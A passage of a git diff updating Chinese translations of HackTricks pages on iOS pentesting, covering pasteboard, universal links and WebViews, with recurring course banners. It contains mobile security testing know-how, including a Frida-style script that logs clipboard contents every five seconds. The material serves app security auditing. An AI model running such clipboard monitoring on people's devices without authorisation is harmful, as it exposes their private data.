Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,55 +1,57 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
在iOS设备上,应用程序内部和跨应用程序之间的数据共享是通过[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)机制实现的,该机制分为两个主要类别:
|
||||
|
||||
- **系统范围的通用剪贴板**:用于与**任何应用程序**共享数据,并且旨在在iOS 10以后可用的设备重新启动和应用程序卸载后保留数据。
|
||||
- **自定义/命名剪贴板**:这些专门用于在应用程序内部或与共享相同团队ID的另一个应用程序之间共享数据,并且不会在创建它们的应用程序进程的生命周期之外保留数据,这是iOS 10引入的更改。
|
||||
在 iOS 设备上,应用程序之间的数据共享是通过 [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) 机制实现的,该机制分为两个主要类别:
|
||||
|
||||
在利用剪贴板时,**安全考虑**起着重要作用。例如:
|
||||
- 用户没有管理应用程序权限访问**剪贴板**的机制。
|
||||
- 为了减轻未经授权的后台监视剪贴板的风险,访问仅限于应用程序在前台运行时(自iOS 9以来)。
|
||||
- 由于隐私问题,不鼓励使用持久命名剪贴板,而是推荐使用共享容器。
|
||||
- iOS 10引入的**通用剪贴板**功能允许通过通用剪贴板在设备之间共享内容,开发人员可以管理数据过期时间并禁用自动内容传输。
|
||||
- **系统范围的通用粘贴板**:用于与 **任何应用程序** 共享数据,并设计为在设备重启和应用程序卸载之间持久化数据,该功能自 iOS 10 起可用。
|
||||
- **自定义/命名粘贴板**:专门用于 **在应用程序内或与共享相同团队 ID 的另一个应用程序** 共享数据,并不设计为在创建它们的应用程序进程的生命周期之外持久化,遵循 iOS 10 引入的更改。
|
||||
|
||||
确保**敏感信息不会被意外存储**在全局剪贴板中至关重要。此外,应用程序应设计防止全局剪贴板数据被用于非预期操作的滥用,并鼓励开发人员实施措施防止将敏感信息复制到剪贴板中。
|
||||
**安全考虑** 在使用粘贴板时起着重要作用。例如:
|
||||
- 用户没有机制来管理应用程序访问 **粘贴板** 的权限。
|
||||
- 为了减轻未经授权的后台监控粘贴板的风险,访问限制为应用程序在前台时(自 iOS 9 起)。
|
||||
- 由于隐私问题,不鼓励使用持久命名粘贴板,而是倾向于使用共享容器。
|
||||
- 自 iOS 10 引入的 **通用剪贴板** 功能,允许通过通用粘贴板在设备之间共享内容,开发人员可以管理数据过期并禁用自动内容传输。
|
||||
|
||||
确保 **敏感信息不会无意中存储** 在全局粘贴板上至关重要。此外,应用程序应设计为防止全局粘贴板数据被误用进行意外操作,鼓励开发人员实施措施以防止将敏感信息复制到剪贴板。
|
||||
|
||||
### 静态分析
|
||||
|
||||
对于静态分析,搜索源代码或二进制文件中的:
|
||||
- `generalPasteboard` 以识别对**系统范围的通用剪贴板**的使用。
|
||||
- `pasteboardWithName:create:` 和 `pasteboardWithUniqueName` 以创建**自定义剪贴板**。验证是否启用了持久性,尽管这已被弃用。
|
||||
- `generalPasteboard` 以识别 **系统范围的通用粘贴板** 的使用。
|
||||
- `pasteboardWithName:create:` 和 `pasteboardWithUniqueName` 用于创建 **自定义粘贴板**。验证是否启用了持久性,尽管这已被弃用。
|
||||
|
||||
### 动态分析
|
||||
|
||||
动态分析涉及挂钩或跟踪特定方法:
|
||||
- 监视 `generalPasteboard` 以进行系统范围的使用。
|
||||
- 跟踪 `pasteboardWithName:create:` 和 `pasteboardWithUniqueName` 以进行自定义实现。
|
||||
动态分析涉及钩住或跟踪特定方法:
|
||||
- 监控 `generalPasteboard` 的系统范围使用。
|
||||
- 跟踪 `pasteboardWithName:create:` 和 `pasteboardWithUniqueName` 的自定义实现。
|
||||
- 观察已弃用的 `setPersistent:` 方法调用以检查持久性设置。
|
||||
|
||||
要监视的关键细节包括:
|
||||
- **剪贴板名称**和**内容**(例如,检查字符串、URL、图像)。
|
||||
- 存在的**项目数量**和**数据类型**,利用标准和自定义数据类型检查。
|
||||
- 通过检查 `setItems:options:` 方法检查**到期和仅限本地选项**。
|
||||
需要监控的关键细节包括:
|
||||
- **粘贴板名称** 和 **内容**(例如,检查字符串、URL、图像)。
|
||||
- **项目数量** 和 **数据类型**,利用标准和自定义数据类型检查。
|
||||
- 通过检查 `setItems:options:` 方法来查看 **过期和本地选项**。
|
||||
|
||||
监视工具使用示例是**objection的剪贴板监视器**,它每5秒轮询generalPasteboard以查看更改并输出新数据。
|
||||
一个监控工具使用的示例是 **objection 的粘贴板监控器**,每 5 秒轮询一次 generalPasteboard 以检查更改并输出新数据。
|
||||
|
||||
以下是一个简单的JavaScript脚本示例,受objection方法启发,每5秒读取并记录剪贴板中的更改:
|
||||
这是一个简单的 JavaScript 脚本示例,灵感来自 objection 的方法,每 5 秒读取并记录粘贴板的更改:
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
|
@ -73,7 +75,7 @@ console.log(items);
|
|||
|
||||
}, 1000 * 5);
|
||||
```
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
||||
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
||||
|
@ -84,16 +86,17 @@ console.log(items);
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# iOS通用链接
|
||||
# iOS Universal Links
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## 介绍
|
||||
|
||||
通用链接通过直接在应用中打开内容,绕过Safari重定向的需求,为用户提供了**无缝的重定向**体验。这些链接是**独特**且安全的,因为其他应用无法声明它们。这是通过在网站的根目录上托管`apple-app-site-association` JSON文件来实现的,建立了网站和应用之间可验证的链接。在应用未安装的情况下,Safari将接管并将用户引导到网页,保持应用的存在。
|
||||
通用链接为用户提供了**无缝重定向**体验,通过直接在应用中打开内容,绕过了 Safari 重定向的需要。这些链接是**唯一**且安全的,因为其他应用无法声称它们。这是通过在网站根目录托管 `apple-app-site-association` JSON 文件来确保的,从而建立网站与应用之间的可验证链接。在应用未安装的情况下,Safari 将接管并将用户引导到网页,保持应用的存在。
|
||||
|
||||
对于渗透测试人员,`apple-app-site-association`文件尤为重要,因为它可能会揭示**敏感路径**,可能包括与未发布功能相关的路径。
|
||||
对于渗透测试人员来说,`apple-app-site-association` 文件特别引人关注,因为它可能会揭示**敏感路径**,可能包括与未发布功能相关的路径。
|
||||
|
||||
### **分析关联域权限**
|
||||
### **分析关联域名权限**
|
||||
|
||||
开发人员通过在Xcode的Capabilities选项卡中配置**关联域**或检查`.entitlements`文件来启用通用链接。每个域名都以`applinks:`为前缀。例如,Telegram的配置可能如下所示:
|
||||
开发人员通过在 Xcode 的功能选项卡中配置**关联域名**或检查 `.entitlements` 文件来启用通用链接。每个域名前缀为 `applinks:`。例如,Telegram 的配置可能如下所示:
|
||||
```xml
|
||||
<key>com.apple.developer.associated-domains</key>
|
||||
<array>
|
||||
|
@ -32,17 +33,21 @@
|
|||
<string>applinks:t.me</string>
|
||||
</array>
|
||||
```
|
||||
### **获取苹果应用站点关联文件**
|
||||
对于更全面的见解,请参考[归档的 Apple 开发者文档](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2)。
|
||||
|
||||
应从服务器使用在授权中指定的域检索`apple-app-site-association`文件。确保文件可通过HTTPS直接访问,网址为`https://<domain>/apple-app-site-association`。工具如[苹果应用站点关联(AASA)验证器](https://branch.io/resources/aasa-validator/)可帮助进行此过程。
|
||||
如果使用编译的应用程序,可以按照[本指南](extracting-entitlements-from-compiled-application.md)提取权限。
|
||||
|
||||
### **处理应用中的通用链接**
|
||||
### **检索 Apple App Site Association 文件**
|
||||
|
||||
应用必须实现特定方法来正确处理通用链接。要查找的主要方法是[`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application)。处理的URL方案必须是HTTP或HTTPS,其他方案将不受支持。
|
||||
`apple-app-site-association` 文件应从服务器上使用权限中指定的域名进行检索。确保该文件可以通过 HTTPS 直接访问,地址为 `https://<domain>/apple-app-site-association`。像[Apple App Site Association (AASA) 验证器](https://branch.io/resources/aasa-validator/)这样的工具可以帮助完成此过程。
|
||||
|
||||
### **在应用中处理 Universal Links**
|
||||
|
||||
应用必须实现特定方法以正确处理 universal links。需要关注的主要方法是[`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application)。处理的 URL 的方案必须是 HTTP 或 HTTPS,其他方案将不被支持。
|
||||
|
||||
#### **验证数据处理方法**
|
||||
|
||||
当通用链接打开应用时,将使用`NSUserActivity`对象将URL传递给应用。在处理此URL之前,必须验证和清理它以防止安全风险。以下是Swift中演示此过程的示例:
|
||||
当一个 universal link 打开应用时,一个 `NSUserActivity` 对象会与 URL 一起传递给应用。在处理此 URL 之前,验证和清理它以防止安全风险是至关重要的。以下是一个用 Swift 演示该过程的示例:
|
||||
```swift
|
||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||
|
@ -54,7 +59,7 @@ application.open(url, options: [:], completionHandler: nil)
|
|||
return true
|
||||
}
|
||||
```
|
||||
URL应该被仔细解析和验证,特别是如果它们包含参数,以防止潜在的欺骗或格式不正确的数据。`NSURLComponents` API对于这个目的非常有用,如下所示:
|
||||
URLs 应该被仔细解析和验证,特别是当它们包含参数时,以防止潜在的欺骗或格式错误的数据。`NSURLComponents` API 对此非常有用,如下所示:
|
||||
```swift
|
||||
func application(_ application: UIApplication,
|
||||
continue userActivity: NSUserActivity,
|
||||
|
@ -80,28 +85,26 @@ return false
|
|||
}
|
||||
}
|
||||
```
|
||||
通过**勤奋的配置和验证**,开发人员可以确保通用链接提升用户体验的同时保持安全和隐私标准。
|
||||
|
||||
通过**勤奋的配置和验证**,开发者可以确保通用链接在增强用户体验的同时,维护安全和隐私标准。
|
||||
|
||||
## 工具
|
||||
* [GetUniversal.link](https://getuniversal.link/):帮助简化应用的通用链接和AASA文件的测试和管理。只需输入您的域名以验证AASA文件的完整性,或使用自定义仪表板轻松测试链接行为。该工具还可帮助您确定苹果何时将下次索引您的AASA文件。
|
||||
* [GetUniversal.link](https://getuniversal.link/): 帮助简化应用程序的通用链接和AASA文件的测试和管理。只需输入您的域名以验证AASA文件的完整性,或使用自定义仪表板轻松测试链接行为。该工具还帮助您确定Apple何时会下次索引您的AASA文件。
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上**关注我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# iOS WebViews
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上**关注我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
此页面的代码摘自[此处](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)。查看页面以获取更多详细信息。
|
||||
此页面的代码提取自 [这里](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)。查看该页面以获取更多详细信息。
|
||||
|
||||
## WebViews 类型
|
||||
|
||||
WebViews 在应用程序中用于交互式显示 Web 内容。不同类型的 WebViews 为 iOS 应用程序提供不同的功能和安全特性。以下是简要概述:
|
||||
WebViews 在应用程序中用于交互式显示网页内容。各种类型的 WebViews 为 iOS 应用程序提供不同的功能和安全特性。以下是简要概述:
|
||||
|
||||
- **UIWebView**,从 iOS 12 开始不再推荐使用,因为它不支持禁用**JavaScript**,容易受到脚本注入和**跨站脚本(XSS)**攻击的影响。
|
||||
- **UIWebView**,由于缺乏禁用 **JavaScript** 的支持,从 iOS 12 开始不再推荐使用,这使其容易受到脚本注入和 **跨站脚本攻击 (XSS)** 的影响。
|
||||
|
||||
- **WKWebView** 是将 Web 内容整合到应用程序中的首选选项,提供对内容和安全功能的增强控制。**JavaScript** 默认启用,但必要时可禁用。它还支持防止 JavaScript 自动打开窗口的功能,并确保所有内容安全加载。此外,**WKWebView** 的架构最大程度地减少了影响主应用程序进程的内存损坏风险。
|
||||
- **WKWebView** 是将网页内容集成到应用程序中的首选选项,提供对内容和安全特性的增强控制。**JavaScript** 默认启用,但在必要时可以禁用。它还支持防止 **JavaScript** 自动打开窗口的功能,并确保所有内容安全加载。此外,**WKWebView** 的架构最小化了内存损坏影响主应用程序进程的风险。
|
||||
|
||||
- **SFSafariViewController** 在应用程序内提供标准化的 Web 浏览体验,其特定布局包括只读地址字段、共享和导航按钮,以及直接链接以在 Safari 中打开内容。与**WKWebView**不同,**SFSafariViewController** 中无法禁用**JavaScript**,它还与 Safari 共享 cookie 和数据,保护用户隐私免受应用程序的影响。必须根据 App Store 指南显著显示它。
|
||||
- **SFSafariViewController** 在应用程序中提供标准化的网页浏览体验,其特定布局包括只读地址栏、分享和导航按钮,以及直接链接以在 Safari 中打开内容。与 **WKWebView** 不同,**SFSafariViewController** 中无法禁用 **JavaScript**,它还与 Safari 共享 cookies 和数据,维护用户的隐私。根据 App Store 指南,必须显著显示它。
|
||||
```javascript
|
||||
// Example of disabling JavaScript in WKWebView:
|
||||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||||
|
@ -33,43 +34,43 @@ WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
|||
config.preferences = preferences;
|
||||
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
||||
```
|
||||
## WebViews配置探索摘要
|
||||
## WebViews 配置探索总结
|
||||
|
||||
### **静态分析概述**
|
||||
|
||||
在检查**WebViews**配置的过程中,主要关注两种类型:**UIWebView**和**WKWebView**。为了在二进制文件中识别这些WebViews,使用命令搜索特定的类引用和初始化方法。
|
||||
在检查 **WebViews** 配置的过程中,主要关注两种类型:**UIWebView** 和 **WKWebView**。为了在二进制文件中识别这些 WebViews,使用命令搜索特定的类引用和初始化方法。
|
||||
|
||||
- **UIWebView识别**
|
||||
- **UIWebView 识别**
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||||
```
|
||||
这个命令通过在二进制文件中搜索与之相关的文本字符串来定位**UIWebView**的实例。
|
||||
此命令通过在二进制文件中搜索与**UIWebView**相关的文本字符串来帮助定位**UIWebView**的实例。
|
||||
|
||||
- **WKWebView识别**
|
||||
- **WKWebView 识别**
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||||
```
|
||||
同样地,对于 **WKWebView**,这个命令会搜索二进制文件中表明其使用情况的文本字符串。
|
||||
同样,对于 **WKWebView**,此命令在二进制文件中搜索指示其使用的文本字符串。
|
||||
|
||||
此外,为了找到 **WKWebView** 的初始化方式,执行以下命令,针对与其初始化相关的方法签名:
|
||||
此外,为了查找 **WKWebView** 是如何初始化的,执行以下命令,针对与其初始化相关的方法签名:
|
||||
```bash
|
||||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||||
```
|
||||
#### **JavaScript配置验证**
|
||||
#### **JavaScript 配置验证**
|
||||
|
||||
对于**WKWebView**,强调了除非必要,禁用JavaScript是最佳做法。搜索编译后的二进制文件以确认`javaScriptEnabled`属性设置为`false`,确保JavaScript已禁用:
|
||||
对于 **WKWebView**,强调禁用 JavaScript 是最佳实践,除非有必要。搜索编译后的二进制文件以确认 `javaScriptEnabled` 属性设置为 `false`,确保 JavaScript 被禁用:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||
```
|
||||
#### **仅安全内容验证**
|
||||
|
||||
**WKWebView** 提供了识别混合内容问题的能力,与 **UIWebView** 相比。这是通过使用 `hasOnlySecureContent` 属性进行检查,以确保所有页面资源都通过安全连接加载。在编译的二进制文件中执行搜索的步骤如下:
|
||||
**WKWebView** 提供了识别混合内容问题的能力,与 **UIWebView** 相比。这是通过使用 `hasOnlySecureContent` 属性来检查,以确保所有页面资源通过安全连接加载。对编译后的二进制文件的搜索如下:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||
```
|
||||
### **动态分析见解**
|
||||
### **动态分析洞察**
|
||||
|
||||
动态分析涉及检查堆中的 WebView 实例及其属性。使用名为 `webviews_inspector.js` 的脚本来实现此目的,针对 `UIWebView`、`WKWebView` 和 `SFSafariViewController` 实例。它记录有关找到的实例的信息,包括与 JavaScript 和安全内容相关的 URL 和设置。
|
||||
